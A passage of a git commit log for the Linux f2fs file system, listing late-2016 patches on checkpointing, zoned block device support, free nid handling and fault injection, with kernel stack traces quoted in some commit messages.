metadata, so in scenario where there are lots of data IO being submitted with metadata, we may suffer long latency for waiting writeback during checkpoint. Indeed, we only care about persistence for pages with metadata, but not pages with data, as file system consistent are only related to metadate, so in order to avoid encountering long latency in above scenario, let's recognize and reference metadata in submitted IOs, wait writeback only for metadatas. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/data.c commit f546891ffade74f56c3891e9d703b9c3acc19fd2 Author: Jaegeuk Kim Date: Mon Nov 14 18:20:10 2016 -0800 f2fs: fix wrong written_valid_blocks counting Previously, written_valid_blocks was got by ckpt->valid_block_count. But if the last checkpoint has some NEW_ADDR due to power-cut, we can get wrong value. Fix it to get the number from actual written block count from sit entries. Signed-off-by: Jaegeuk Kim commit 26fde6174fc75d7d521c8599368435f44bf29224 Author: Jaegeuk Kim Date: Mon Nov 14 17:38:35 2016 -0800 f2fs: avoid BG_GC in f2fs_balance_fs If many threads hit has_not_enough_free_secs() in f2fs_balance_fs() at the same time, all the threads would do FG_GC or BG_GC. In this critical path, we totally don't need to do BG_GC at all. Let's avoid that. Signed-off-by: Jaegeuk Kim commit 84b7a9bcc66fa2c7faae06f00d10014e76466608 Author: Jaegeuk Kim Date: Fri Nov 11 16:46:40 2016 -0800 f2fs: fix redundant block allocation In direct_IO path of f2fs_file_write_iter(), 1. f2fs_preallocate_blocks(F2FS_GET_BLOCK_PRE_DIO) -> allocate LBA X 2. f2fs_direct_IO() -> return 0; Then, f2fs_write_data_page() will allocate another LBA X+1. This makes EIO triggered by HM-SMR. Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/data.c commit bb7e863394d95534275d72e216c1b0dd3a2c3587 Author: Jaegeuk Kim Date: Fri Nov 11 16:31:56 2016 -0800 f2fs: use err for f2fs_preallocate_blocks This patch has no functional change. Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/data.c fs/f2fs/f2fs.h fs/f2fs/file.c commit b2a32f6addf495e72763454b8fddb731fbbfe26d Author: Jaegeuk Kim Date: Thu Oct 6 19:02:05 2016 -0700 f2fs: support multiple devices This patch implements multiple devices support for f2fs. Given multiple devices by mkfs.f2fs, f2fs shows them entirely as one big volume under one f2fs instance. Internal block management is very simple, but we will modify block allocation and background GC policy to boost IO speed by exploiting them accoording to each device speed. Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/data.c fs/f2fs/segment.c commit e14648933ec096a879e0ac19428075237a0fc754 Author: Jaegeuk Kim Date: Fri Nov 11 12:08:22 2016 -0800 f2fs: allow dio read for LFS mode We can allow dio reads for LFS mode, while doing buffered writes for dio writes. Signed-off-by: Jaegeuk Kim commit 2b86cf5e5a86a40582074f4813b996e024bc336e Author: Jaegeuk Kim Date: Fri Nov 11 12:31:40 2016 -0800 f2fs: revert segment allocation for direct IO Now we don't need to be too much careful about storage alignment for dio, since its speed becomes quite fast and we'd better avoid any misalignment first. Revert: 38aa0889b250 (f2fs: align direct_io'ed data to section) Signed-off-by: Jaegeuk Kim commit 341f61b90da6a6e635fd7142bd2ac042eda958be Author: Yunlei He Date: Mon Nov 7 21:22:31 2016 +0800 f2fs: return directly if block has been removed from the victim If one block has been to written to a new place, just return in move data process. This patch check it again with holding page lock. Signed-off-by: Yunlei He Signed-off-by: Jaegeuk Kim commit 6ffa46199da9685a5fa020b67b0efdf63aeb168d Author: Chao Yu Date: Sat Nov 5 11:12:40 2016 +0800 Revert "f2fs: do not recover from previous remained wrong dnodes" i_times of inode will be set with current system time which can be configured through 'date', so it's not safe to judge dnode block as garbage data or unchanged inode depend on i_times. Now, we have used enhanced 'cp_ver + cp' crc method to verify valid dnode block, so I expect recoverying invalid dnode is almost not possible. This reverts commit 807b1e1c8e08452948495b1a9985ab46d329e5c2. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 173927c6c151a4b1e4623e0d46afbfc8378d985b Author: Jaegeuk Kim Date: Fri Nov 4 14:59:15 2016 -0700 f2fs: remove checkpoint in f2fs_freeze The generic freeze_super() calls sync_filesystems() before f2fs_freeze(). So, basically we don't need to do checkpoint in f2fs_freeze(). But, in xfs/068, it triggers circular locking problem below due to gc_mutex for checkpoint. ====================================================== [ INFO: possible circular locking dependency detected ] 4.9.0-rc1+ #132 Tainted: G OE ------------------------------------------------------- 1. wait for __sb_start_write() by [] dump_stack+0x85/0xc2 [] print_circular_bug+0x1cf/0x230 [] __lock_acquire+0x19e0/0x1bc0 [] lock_acquire+0x11b/0x220 [] ? f2fs_drop_inode+0x9b/0x160 [f2fs] [] __sb_start_write+0x130/0x200 [] ? f2fs_drop_inode+0x9b/0x160 [f2fs] [] f2fs_drop_inode+0x9b/0x160 [f2fs] [] iput+0x171/0x2c0 [] f2fs_sync_inode_meta+0x3f/0xf0 [f2fs] [] block_operations+0x84/0x110 [f2fs] [] write_checkpoint+0xe8/0xf20 [f2fs] [] ? trace_hardirqs_on+0xd/0x10 [] ? f2fs_sync_fs+0x79/0x190 [f2fs] [] ? sched_clock+0x9/0x10 [] ? f2fs_sync_fs+0x79/0x190 [f2fs] [] f2fs_sync_fs+0x85/0x190 [f2fs] [] ? do_fsync+0x70/0x70 [] ? do_fsync+0x70/0x70 [] sync_fs_one_sb+0x20/0x30 [] iterate_supers+0xae/0x100 [] sys_sync+0x55/0x90 [] entry_SYSCALL_64_fastpath+0x23/0xc6 2. wait for sbi->gc_mutex by [] lock_acquire+0x11b/0x220 [] mutex_lock_nested+0x76/0x3f0 [] f2fs_sync_fs+0x79/0x190 [f2fs] [] f2fs_freeze+0x1c/0x20 [f2fs] [] freeze_super+0xcf/0x190 [] do_vfs_ioctl+0x53c/0x6a0 [] SyS_ioctl+0x79/0x90 [] entry_SYSCALL_64_fastpath+0x23/0xc6 Signed-off-by: Jaegeuk Kim commit b17d88d466b1ae3025c99c70936863719e6181bd Author: Jaegeuk Kim Date: Fri Nov 4 14:33:57 2016 -0700 f2fs: assign segments correctly for direct_io Previously, we assigned CURSEG_WARM_DATA for direct_io, but if we have two or four logs, we do not use that type at all. Let's fix it. Signed-off-by: Jaegeuk Kim commit e83267c210b94c8e6349beac8dc3288e4b638447 Author: Chao Yu Date: Fri Nov 4 00:26:55 2016 +0800 f2fs: fix wrong i_atime recovery Shouldn't update in-memory i_atime with on-disk i_mtime of inode when recovering inode. Shuoran found this bug which is hidden for a long time, honour is belong to him. Signed-off-by: Shuoran Liu Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 7cd951987890170181ef03cbb0db71af43f56b20 Author: Chao Yu Date: Wed Nov 2 20:43:21 2016 +0800 f2fs: record inode updating status correctly We should record updating status of inode only for living inode, for those unlinked inode it needs to clear its ino cache, otherwise after the ino was been reused, it will cause unneeded node page writing during ->fsync. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit c5ef1e943f8d0cc4f7d7679e6752e54fbbecf125 Author: Damien Le Moal Date: Fri Oct 28 17:45:07 2016 +0900 f2fs: Trace reset zone events Similarly to the regular discard, trace zone reset events. Signed-off-by: Damien Le Moal Signed-off-by: Jaegeuk Kim commit 9fee6e54d85909a3a832f1b214cc40da64c07c7c Author: Damien Le Moal Date: Fri Oct 28 17:45:06 2016 +0900 f2fs: Reset sequential zones on zoned block devices When a zoned block device is mounted, discarding sections contained in sequential zones must reset the zone write pointer. For sections contained in conventional zones, the regular discard is used if the drive supports it. Signed-off-by: Damien Le Moal Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/segment.c commit 5a78224e39e7121dc7e525a96827ed769d2f2126 Author: Damien Le Moal Date: Fri Oct 28 17:45:05 2016 +0900 f2fs: Cache zoned block devices zone type With the zoned block device feature enabled, section discard need to do a zone reset for sections contained in sequential zones, and a regular discard (if supported) for sections stored in conventional zones. Avoid the need for a costly report zones to obtain a section zone type when discarding it by caching the types of the device zones in the super block information. This cache is initialized at mount time for mounts with the zoned block device feature enabled. Signed-off-by: Damien Le Moal Signed-off-by: Jaegeuk Kim commit 04b7f8d9e2214617c3379b8e4876a4ead02f3528 Author: Damien Le Moal Date: Fri Oct 28 17:45:04 2016 +0900 f2fs: Do not allow adaptive mode for host-managed zoned block devices The LFS mode is mandatory for host-managed zoned block devices as update in place optimizations are not possible for segments in sequential zones. Signed-off-by: Damien Le Moal Signed-off-by: Jaegeuk Kim commit 2e7f1baaedd8bb4a5372923cbe2edbc9ad282e75 Author: Damien Le Moal Date: Fri Oct 28 17:45:03 2016 +0900 f2fs: Always enable discard for zoned blocks devices Zone write pointer reset acts as discard for zoned block devices. So if the zoned block device feature is enabled, always declare that discard is enabled, even if the device does not actually support the command. For the same reason, prevent the use the "nodicard" mount option. Signed-off-by: Damien Le Moal Signed-off-by: Jaegeuk Kim commit 99c58cfe51a08c37011888f12ba6fade1d2c0ead Author: Damien Le Moal Date: Fri Oct 28 17:45:02 2016 +0900 f2fs: Suppress discard warning message for zoned block devices For zoned block devices, discard is replaced by zone reset. So do not warn if the device does not supports discard. Signed-off-by: Damien Le Moal Signed-off-by: Jaegeuk Kim commit c83f0a401bc4f6d9547e7d4019279d82b8532204 Author: Damien Le Moal Date: Fri Oct 28 17:45:01 2016 +0900 f2fs: Check zoned block feature for host-managed zoned block devices The F2FS_FEATURE_BLKZONED feature indicates that the drive was formatted with zone alignment optimization. This is optional for host-aware devices, but mandatory for host-managed zoned block devices. So check that the feature is set in this latter case. Signed-off-by: Damien Le Moal Signed-off-by: Jaegeuk Kim commit 34dd3f9c958b4371ab2bbbf8c49ab10ac839dfcb Author: Damien Le Moal Date: Fri Oct 28 17:45:00 2016 +0900 f2fs: Use generic zoned block device terminology SMR stands for "Shingled Magnetic Recording" which makes sense only for hard disk drives (spinning rust). The ZBC/ZAC standards enable management of SMR disks, but solid state drives may also support those standards. So rename the HMSMR feature to BLKZONED to avoid a HDD centric terminology. For the same reason, rename f2fs_sb_mounted_hmsmr to f2fs_sb_mounted_blkzoned. Signed-off-by: Damien Le Moal Signed-off-by: Jaegeuk Kim commit 5f8436da952c97ee61f7bf9fa3c429ccbb653e84 Author: Damien Le Moal Date: Fri Oct 28 17:44:59 2016 +0900 f2fs: Add missing break in switch-case Signed-off-by: Damien Le Moal Signed-off-by: Jaegeuk Kim commit 1334c32f8f8d3a784d71c4706a79f1c35eecf50d Author: Jaegeuk Kim Date: Mon Oct 31 14:01:41 2016 -0700 f2fs: avoid infinite loop in the EIO case on recover_orphan_inodes This patch should fix an infinite loop case below. F2FS-fs : inject IO error in f2fs_read_end_io+0xf3/0x120 [f2fs] F2FS-fs (nvme0n1p1): recover_orphan_inode: orphan failed (ino=39ac1a), run fsck to fix. ... [] sync_meta_pages+0xae/0x270 [f2fs] [] ? flush_sit_entries+0x8d/0x960 [f2fs] [] write_checkpoint+0x361/0xf20 [f2fs] [] ? trace_hardirqs_on+0xd/0x10 [] ? f2fs_sync_fs+0x79/0x190 [f2fs] [] f2fs_sync_fs+0x85/0x190 [f2fs] [] f2fs_balance_fs_bg+0x7e/0x1c0 [f2fs] [] f2fs_write_node_pages+0x34/0x320 [f2fs] [] do_writepages+0x21/0x30 [] __writeback_single_inode+0x61/0x760 [] ? _raw_spin_unlock+0x27/0x40 [] writeback_single_inode+0xd5/0x190 [] write_inode_now+0x99/0xc0 [] iput+0x1f6/0x2c0 [] f2fs_fill_super+0xe0e/0x1300 [f2fs] [] ? sget_userns+0x4f4/0x530 [] mount_bdev+0x182/0x1b0 [] ? f2fs_commit_super+0x100/0x100 [f2fs] [] f2fs_mount+0x15/0x20 [f2fs] [] mount_fs+0x38/0x170 [] vfs_kern_mount+0x6b/0x160 [] do_mount+0x1be/0xd60 [] ? copy_mount_options+0xb7/0x220 [] SyS_mount+0x94/0xd0 [] entry_SYSCALL_64_fastpath+0x23/0xc6 Signed-off-by: Jaegeuk Kim commit 992205d5d1a1884965e32716221664df98c45d84 Author: Chao Yu Date: Sat Oct 29 18:46:34 2016 +0800 f2fs: report error of f2fs_fill_dentries Report error of f2fs_fill_dentries to ->iterate_shared, otherwise when error ocurrs, user may just list part of dirents in target directory without any hints. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/dir.c fs/f2fs/f2fs.h fs/f2fs/inline.c commit 3b2e65ead327fcac6d646bf8608087f6d510d5f8 Author: Jaegeuk Kim Date: Thu Nov 10 18:23:01 2016 -0800 fs/crypto: catch up 4.9-rc2 Signed-off-by: Jaegeuk Kim commit 2174290b332f39718fb654665ddcfe6e5038ed90 Author: Arnd Bergmann Date: Wed Nov 2 14:52:15 2016 +0100 f2fs: hide a maybe-uninitialized warning gcc is unsure about the use of last_ofs_in_node, which might happen without a prior initialization: fs/f2fs//git/arm-soc/fs/f2fs/data.c: In function ‘f2fs_map_blocks’: fs/f2fs/data.c:799:54: warning: ‘last_ofs_in_node’ may be used uninitialized in this function [-Wmaybe-uninitialized] if (prealloc && dn.ofs_in_node != last_ofs_in_node + 1) { As pointed out by Chao Yu, the code is actually correct as 'prealloc' is only set if the last_ofs_in_node has been set, the two always get updated together. This initializes last_ofs_in_node to dn.ofs_in_node for each new dnode at the start of the 'next_block' loop, which at that point is a correct initialization as well. I assume that compilers that correctly track the contents of the variables and do not warn about the condition also figure out that they can eliminate the extra assignment here. Fixes: 46008c6d4232 ("f2fs: support in batch multi blocks preallocation") Signed-off-by: Arnd Bergmann Signed-off-by: Jaegeuk Kim commit 8b2d21c4aea2373552b33e74c39fa071a6e6b9ed Author: Jaegeuk Kim Date: Thu Oct 20 19:09:57 2016 -0700 f2fs: remove percpu_count due to performance regression This patch removes percpu_count usage due to performance regression in iozone. Fixes: 523be8a6b3 ("f2fs: use percpu_counter for page counters") Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/super.c commit 209350f70574e2ebc7bf241fdf636face818e212 Author: Jaegeuk Kim Date: Wed Oct 19 18:27:56 2016 -0700 f2fs: make clean inodes when flushing inode page This patch tries to make more clean inodes when flushing dirty inodes in checkpoint. Signed-off-by: Jaegeuk Kim commit e7875e211e06f8467edde0f5d3300c3b0adf3b2f Author: Jaegeuk Kim Date: Fri Oct 14 11:51:23 2016 -0700 f2fs: keep dirty inodes selectively for checkpoint This is to avoid no free segment bug during checkpoint caused by a number of dirty inodes. The case was reported by Chao like this. 1. mount with lazytime option 2. fill 4k file until disk is full 3. sync filesystem 4. read all files in the image 5. umount In this case, we actually don't need to flush dirty inode to inode page during checkpoint. Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/acl.c fs/f2fs/inode.c fs/f2fs/namei.c commit 0e79be21cd98ca64a4546b85d5583e74edd936f5 Author: Jaegeuk Kim Date: Thu Nov 10 18:04:05 2016 -0800 f2fs: Replace CURRENT_TIME_SEC with current_time() for inode timestamps This is for backport only. fs: Replace CURRENT_TIME_SEC with current_time() for inode timestamps Signed-off-by: Jaegeuk Kim commit f09143d5f2d7c22e84dc9285c2ca2ce5179af8e7 Author: Jaegeuk Kim Date: Tue Oct 18 11:07:45 2016 -0700 f2fs: use BIO_MAX_PAGES for bio allocation We don't need to allocate bio partially in order to maximize sequential writes. Signed-off-by: Jaegeuk Kim commit 2b9256d72aec5c8568639c229421e7db7e984e1b Author: Jaegeuk Kim Date: Mon Oct 17 15:36:31 2016 -0700 f2fs: declare static function for __build_free_nids This patch avoids build warning. Signed-off-by: Jaegeuk Kim commit ea10eea313ea6d175421e8f08d673524951becff Author: Jaegeuk Kim Date: Fri Oct 14 13:30:31 2016 -0700 f2fs: call f2fs_balance_fs for setattr If inode becomes dirty, we need to check the # of dirty inodes whether or not further checkpoint would be required. Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 0f0f7ac80fbefe4d890462b8198941d665a91c8f Author: Jaegeuk Kim Date: Fri Oct 14 13:28:05 2016 -0700 f2fs: count dirty inodes to flush node pages during checkpoint If there are a lot of dirty inodes, we need to flush all of them when doing checkpoint. So, we need to count this for enough free space. Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim commit e1a0945764e29d5bf693467b3fc5ef1a98662f8d Author: Chao Yu Date: Tue Oct 11 22:31:36 2016 +0800 f2fs: avoid casted negative value as shrink count This patch makes sure it returns a positive value instead of a probable casted negative value as shrink count. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 0e105b99aaef284179436c5dabbc7a1ceb4c7b43 Author: Chao Yu Date: Tue Oct 11 22:31:35 2016 +0800 f2fs: don't interrupt free nids building during nid allocation Let build_free_nids support sync/async methods, in allocation flow of nids, we use synchronuous method, so that we can avoid looping in alloc_nid when free memory is low; in unblock_operations and f2fs_balance_fs_bg we use asynchronuous method in where low memory condition can interrupt us. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit c727d7bc4e6a2b07c7c7e1567daeb4b4a3c30663 Author: Jaegeuk Kim Date: Wed Oct 12 10:09:59 2016 -0700 f2fs: clean up free nid list operations This patch cleans up to use consistent free nid list ops. Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 3ee1a6e6dc21e25afc51644b80553252ea21ff0e Author: Chao Yu Date: Wed Oct 12 19:28:29 2016 +0800 f2fs: split free nid list During free nid allocation, in order to do preallocation, we will tag free nid entry as allocated one and still leave it in free nid list, for other allocators who want to grab free nids, it needs to traverse the free nid list for lookup. It becomes overhead in scenario of allocating free nid intensively by multithreads. This patch splits free nid list to two list: {free,alloc}_nid_list, to keep free nids and preallocated free nids separately, after that, traverse latency will be gone, besides split nid_cnt for separate statistic. Additionally, introduce __insert_nid_to_list and __remove_nid_from_list for cleanup. Signed-off-by: Chao Yu [Jaegeuk Kim: modify f2fs_bug_on to avoid needless branches] Signed-off-by: Jaegeuk Kim commit 5b70d25c9b5edede270f6c1048bd6f512ead5704 Author: Chao Yu Date: Tue Oct 11 22:56:59 2016 +0800 f2fs: clear nlink if fail to add_link We don't need to keep incomplete created inode in cache, so if we fail to add link into directory during new inode creation, it's better to set nlink of inode to zero, then we can evict inode immediately. Otherwise release of nid belong to inode will be delayed until inode cache is being shrunk, it may cause a seemingly endless loop while allocating free nids in time of testing generic/269 case of fstest suit. Signed-off-by: Chao Yu [Jaegeuk Kim: add update_inode_page to fix kernel panic] Signed-off-by: Jaegeuk Kim commit 8f282aa43f7f5ee73cbb5a3a7726f126dd91d2ad Author: Eric Biggers Date: Tue Oct 11 10:36:12 2016 -0700 f2fs: fix sparse warnings f2fs contained a number of endianness conversion bugs. Also, one function should have been 'static'. Found with sparse by running 'make C=2 CF=-D__CHECK_ENDIAN__ fs/f2fs/' Signed-off-by: Eric Biggers Signed-off-by: Jaegeuk Kim commit 7d74e519ae4234e259da063e495fad6755265b71 Author: Chao Yu Date: Tue Oct 11 22:57:06 2016 +0800 f2fs: fix error handling in fsync_node_pages In fsync_node_pages, if f2fs was taged with CP_ERROR_FLAG, make sure bio cache was flushed before return. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 61645ed6316785412a3d8b5be6b9f1d99f0e015d Author: Chao Yu Date: Tue Oct 11 22:57:05 2016 +0800 f2fs: fix to update largest extent under lock In order to avoid racing problem, make largest extent cache being updated under lock. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 0aed517b693438aa001d0875706a1898f66b6636 Author: Chao Yu Date: Tue Oct 11 22:57:04 2016 +0800 f2fs: be aware of extent beyond EOF in fiemap f2fs can support fallocating blocks beyond file size without changing the size, but ->fiemap of f2fs was restricted and can't detect these extents fallocated past EOF, now relieve the restriction. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit bc37aa125b7d500195ed4253acc019eb6ddd3389 Author: Chao Yu Date: Tue Oct 11 22:57:03 2016 +0800 f2fs: don't miss any f2fs_balance_fs cases In f2fs_map_blocks, let f2fs_balance_fs detects node page modification with dn.node_changed to avoid miss some corner cases. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 0ae6e3c4b85ea6bb4e11bda631a935e409e73e0c Author: Chao Yu Date: Tue Oct 11 22:57:02 2016 +0800 f2fs: add missing f2fs_balance_fs in f2fs_zero_range f2fs_balance_fs should be called in between node page updating, otherwise node page count will exceeded far beyond watermark of triggering foreground garbage collection, result in facing high risk of hitting LFS allocation failure. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 6996a709bdee438285cee54d8b0b3c7de0d389a1 Author: Chao Yu Date: Tue Oct 11 22:57:01 2016 +0800 f2fs: give a chance to detach from dirty list If there is no dirty pages in inode, we should give a chance to detach the inode from global dirty list, otherwise it needs to call another unnecessary .writepages for detaching. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit f6c0f48f7104ff7e8a9acbeb2b24d05bf3324160 Author: Chao Yu Date: Tue Oct 11 22:57:00 2016 +0800 f2fs: fix to release discard entries during checkpoint In f2fs_fill_super, if there is any IO error occurs during recovery, cached discard entries will be leaked, in order to avoid this, make write_checkpoint() handle memory release by itself, besides, move clear_prefree_segments to write_checkpoint for readability. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 3889e722d56051c9e54023fb4d25fc5d684b97f1 Author: Chao Yu Date: Tue Oct 11 22:31:34 2016 +0800 f2fs: exclude free nids building and allocation During nid allocation, it needs to exclude building and allocating flow of free nids, this is because while building free nid cache, there are two steps: a) load free nids from unused nat entries in NAT pages, b) update free nid cache by checking nat journal. The two steps should be atomical, otherwise an used nid can be allocated as free one after a) and before b). This patch adds missing lock which covers build_free_nids in unlock_operation and f2fs_balance_fs_bg to avoid that. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 14dfe0df65ca78fa54c4f32f2a31cf7faac6a38a Author: Jaegeuk Kim Date: Wed Nov 23 10:51:17 2016 -0800 f2fs: fix overflow due to condition check order In the last ilen case, i was already increased, resulting in accessing out- of-boundary entry of do_replace and blkaddr. Fix to check ilen first to exit the loop. Fixes: 2aa8fbb9693020 ("f2fs: refactor __exchange_data_block for speed up") Cc: stable@vger.kernel.org # 4.8+ Signed-off-by: Jaegeuk Kim commit a5726fa444145b139848eb0d4b1ca83a51954d72 Author: Jaegeuk Kim Date: Tue Nov 22 15:49:17 2016 -0800 posix_acl: Clear SGID bit when setting file permissions Cherry-pick to f2fs only for generic/375 from: (073931017: posix_acl: Clear SGID bit when setting file permissions) Signed-off-by: Jaegeuk Kim commit 2f9e458e69cd3528057d93617f7a207e868c8d69 Author: Jaegeuk Kim Date: Wed Oct 12 13:38:41 2016 -0700 f2fs: fix wrong sum_page pointer in f2fs_gc This patch fixes using a wrong pointer for sum_page in f2fs_gc. Signed-off-by: Jaegeuk Kim commit 9860d188c2439870ae702ea36c7a4fa09b3b97e8 Author: Jaegeuk Kim Date: Fri Sep 30 17:37:43 2016 -0700 f2fs: introduce update_ckpt_flags to clean up This patch add update_ckpt_flags() to clean up the flow. Signed-off-by: Jaegeuk Kim commit 61c96db11bed610f4e3b34610c038e5c4ff54df0 Author: Chao Yu Date: Thu Sep 29 18:50:11 2016 +0800 f2fs: don't submit irrelevant page While we call ->writepages, there are two cases: a. we didn't writeout any dirty pages, since they are writebacked by other thread concurrently. b. we writeout dirty pages, and have already submitted bio to block layer. In these cases, we don't need to do additional bio flushing unnecessarily, it may split bio in cache into smaller one. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 4bfc0dcc1e7bf73f02b169752e6480b0feb94268 Author: Chao Yu Date: Thu Sep 29 18:50:10 2016 +0800 f2fs: fix to commit bio cache after flushing node pages In sync_node_pages, we won't check and commit last merged pages in private bio cache of f2fs, as these pages were taged as writeback, someone who is waiting for writebacking of the page will be blocked until the cache was committed by someone else. We need to commit node type bio cache to avoid potential deadlock or long delay of waiting writeback. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit fbeed04f369b7a8a06613cba28854d57eb86765c Author: Tiezhu Yang Date: Fri Sep 30 08:24:53 2016 +0800 f2fs: introduce get_checkpoint_version for cleanup There exists almost same codes when get the value of pre_version and cur_version in function validate_checkpoint, this patch adds get_checkpoint_version to clean up redundant codes. Signed-off-by: Tiezhu Yang Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 3133ef91ed1522228b816c0ab70aa34205cafbe4 Author: Sheng Yong Date: Thu Sep 29 18:37:31 2016 +0800 f2fs: remove dead variable Signed-off-by: Sheng Yong Acked-by: Chao Yu Signed-off-by: Jaegeuk Kim commit c67e0a3d1c62387cbdfced20e560c254260ddbe1 Author: Chao Yu Date: Tue Sep 27 00:09:53 2016 +0800 f2fs: remove redundant io plug Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit e746db231143e4cc8cf30176d5f2496d791239ea Author: Chao Yu Date: Mon Sep 26 19:45:55 2016 +0800 f2fs: support checkpoint error injection This patch adds to support checkpoint error injection in f2fs for testing fatal error tolerance, it will be useful that it can simulate abnormal power off by f2fs itself instead of calling godown ioctl by running apps. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit ec4f1464ee7b8f2e46f941b72cd4559a9d981e42 Author: Chao Yu Date: Mon Sep 26 19:45:06 2016 +0800 f2fs: fix to recover old fault injection config in ->remount_fs In ->remount_fs, we didn't recover original fault injection config if we encounter error, fix it. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 9e6445153b39aa1463992c1a7445229455934e4c Author: Chao Yu Date: Mon Sep 26 19:45:05 2016 +0800 f2fs: do fault injection initialization in default_options Do fault injection initialization in default_options to keep consistent with other default option configurating. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit a9c2e01666ac88034ac7fb6d432ad24bf058f945 Author: Yunlei He Date: Sat Sep 24 12:29:18 2016 +0800 f2fs: remove redundant value definition This patch remove redundant value definition in build_sit_entries Signed-off-by: Yunlei He Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 3be0c85ddeb3f94b7ea79b6041b7c72e115a8ecf Author: Chao Yu Date: Fri Sep 23 21:30:09 2016 +0800 f2fs: support configuring fault injection per superblock Previously, we only support global fault injection configuration, so that when we configure type/rate of fault injection through sysfs, mount option, it will influence all f2fs partition which is being used. It is not make sence, since it will be not convenient if developer want to test separated partitions with different fault injection rate/type simultaneously, also it's not possible to enable fault injection in one partition and disable fault injection in other one. >From now on, we move global configuration of fault injection in module into per-superblock, hence injection testing can be more flexible. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/super.c commit bed53023c0162e6f1b1e513b6f5c8d9368541c33 Author: Chao Yu Date: Fri Sep 23 13:24:56 2016 +0800 f2fs: adjust display format of segment bit Just adjust segment bit info printed in procfs. Before: 1008 5|0 |0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1009 3|183|0 0 61 20 20 0 0 21 80 c0 2 e4 e 54 0 21 21 17 a 44 d0 28 e4 50 40 30 8 0 2d 32 0 5 b0 80 1 43 2 8e f8 7b 2 25 93 bf e0 73 8e 9a 19 44 60 ff e4 cc e6 8e bf f9 ff 5 3d 31 3d 13 1010 3|1 |0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 After: 1008 5|0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1009 4|434| ff 7d ff bf d9 3f ff e7 ff bf d7 bf ff bb be ff fb df f7 fb fa bf fb fe bb df dd ff fe ef ff fe ef e2 27 bf ab bf fb df fd bd bf fb db fc ff ff 3f ff ff bf ff 5f db 3f fb fb bf fb bf 4f ff ef 1010 4|422| ff bb fe ff ef d7 ee ff ff fc bf ef 7d eb ec fd fb 3f 97 7f ef ff af ff db ff ff 69 bf ff f6 e7 ff fb f7 7b fb df be ff ff ef f3 fe ff ff df fe f7 fa ff b7 77 be fe fb a9 7f 87 a2 ac c7 ff 75 Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 937e3d07c41b61fc8a602fc29b6f78ac05e4665c Author: Jaegeuk Kim Date: Fri Sep 23 11:29:00 2016 -0700 f2fs: remove dirty inode pages in error path When getting EIO while handling orphan inodes, we can get some dirty node pages. Then, f2fs_write_node_pages() called by iput(node_inode) will try to flush node pages. But in this case, we should prevent to do that, since we will try again from the start. Signed-off-by: Jaegeuk Kim commit 4104b20e95fdb0e777fe8a3d08526a6657d12a21 Author: Eric Biggers Date: Thu Sep 22 13:31:48 2016 -0700 f2fs: do not unnecessarily null-terminate encrypted symlink data Null-terminating the fscrypt_symlink_data on read is unnecessary because it is not string data --- it contains binary ciphertext. Signed-off-by: Eric Biggers Signed-off-by: Jaegeuk Kim Conflicts: fs/f2fs/namei.c commit f2b7f2fa5c56e2ece0c76c841e6a06a8ac025450 Author: Jaegeuk Kim Date: Wed Sep 21 11:39:42 2016 -0700 f2fs: handle errors during recover_orphan_inodes This patch fixes to handle EIO during recover_orphan_inode() given the below panic. F2FS-fs : inject IO error in f2fs_read_end_io+0xe6/0x100 [f2fs] ------------[ cut here ]------------ RIP: 0010:[] [] f2fs_evict_inode+0x433/0x470 [f2fs] RSP: 0018:ffff92f8b7fb7c30 EFLAGS: 00010246 RAX: ffff92fb88a13500 RBX: ffff92f890566ea0 RCX: 00000000fd3c255c RDX: 0000000000000001 RSI: ffff92fb88a13d90 RDI: ffff92fb8ee127e8 RBP: ffff92f8b7fb7c58 R08: 0000000000000001 R09: 